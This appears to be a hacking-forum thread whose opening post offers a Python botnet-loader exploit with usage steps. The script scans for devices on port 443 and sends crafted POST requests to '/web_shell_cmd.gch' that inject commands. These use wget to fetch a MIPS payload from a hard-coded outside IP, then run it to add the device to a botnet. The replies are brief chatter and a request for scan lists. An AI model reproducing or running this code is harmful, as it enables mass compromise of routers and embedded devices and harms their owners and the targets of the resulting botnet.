

Forum: [Hack Forums](#)

Thread: [A4 Exploit PMA Bots](#)

waren34565 - August 18, 2021, 2:14 pm

This exploit is used specifically for scanning bots to a botnet using mips. All you have to do is have a scan list and then use the scan list with the exploit and it will auto load it to your botnet.

TUT

edit a4.py with server ip and mips
zmap -p 443 -o (what's left of scan list) -w HI.lst
python a4.py (what's left of scan list)

change exploit file name to a4.py instead of a4.txt

Code:

```
#!/usr/bin/python
import threading
import socket
import ssl
import time
import sys
## For Exploiting HTC Devices
server = "185.132.53.98"
mip = "Pain.mips"
bin1 = "" #do not input anything in the quto.
```

```
info = open(str(sys.argv[1]),'a+')
```

```
class tard(threading.Thread):
    def __init__(self, ip):
        threading.Thread.__init__(self)
        self.ip = str(ip).rstrip("\n")
    def run(self):
        try:
```

```
            f1 = "POST /web_shell_cmd.gch HTTP/1.1\r\nHost: 127.0.0.1\r\nUser-Agent:
Exploited\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection:
keep-alive\r\nContent-Length: 114\r\nContent-Type:
application/x-www-form-urlencoded\r\n\r\nIF_ACTION=apply&IF_ERRORSTR=SUCC&IF_ERRORP
ARAM=SUCC&IF_ERRORTYPE=-1&Cmd=cp+%2Fetc%2Finit.norm+%2Fvar%2Ftmp&CmdAck=\r\
n\r\n"
```

```
            s1 = "POST /web_shell_cmd.gch HTTP/1.1\r\nHost: 127.0.0.1\r\nUser-Agent:
Exploited\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection:
keep-alive\r\nContent-Length: 154\r\nContent-Type:
application/x-www-form-urlencoded\r\n\r\nIF_ACTION=apply&IF_ERRORSTR=SUCC&IF_ERRORP
ARAM=SUCC&IF_ERRORTYPE=-1&Cmd=wget+http%3A%2F%2F"+server+"%2F"+bin1+"%2F"+m
ip+"+-O+%2Fvar%2Ftmp%2Finit.norm&CmdAck=\r\n\r\n"
```

```
t1 = "POST /web_shell_cmd.gch HTTP/1.1\r\nHost: 127.0.0.1\r\nUser-Agent:
Exploited\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection:
keep-alive\r\nContent-Length: 104\r\nContent-Type:
application/x-www-form-urlencoded\r\n\r\nIF_ACTION=apply&IF_ERRORSTR=SUCC&IF_ERRORP
ARAM=SUCC&IF_ERRORTYPE=-1&Cmd=%2Fvar%2Ftmp%2Finit.norm&CmdAck=\r\n\r\n"
```

```
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ssl_sock = ssl.wrap_socket(sock)
ssl_sock.connect((self.ip, 443))
```

```
ssl_sock.sendall(f1.encode('utf-8'))
ssl_sock.close()
time.sleep(3)
```

```
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ssl_sock = ssl.wrap_socket(sock)
ssl_sock.connect((self.ip, 443))
```

```
ssl_sock.sendall(s1.encode('utf-8'))
ssl_sock.close()
time.sleep(5)
```

```
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ssl_sock = ssl.wrap_socket(sock)
ssl_sock.connect((self.ip, 443))
```

```
ssl_sock.sendall(t1.encode('utf-8'))
ssl_sock.close()
time.sleep(3)
print("[BSBD]" + self.ip)
except Exception as e:
    print(e)
return
```

Living Lavish - September 1, 2021, 9:25 pm

People still use PMA? it's literally been 12+ years at this point.

Edit: then I read the post more and you're talking about mips arch machines? very confused.

Meloncholy - September 3, 2021, 4:42 pm

(Sep 1, 2021 09:25 PM)Living Lavish Wrote: [\[CITE\]](#) People still use PMA? it's literally been 12+ years at this point.

Edit: then I read the post more and you're talking about mips arch machines? very confused. Yea true,

I used to play with PMA when i was 15 years old, good time. ?

MihaiFcp - February 12, 2023, 1:09 pm

who can give me pma list pls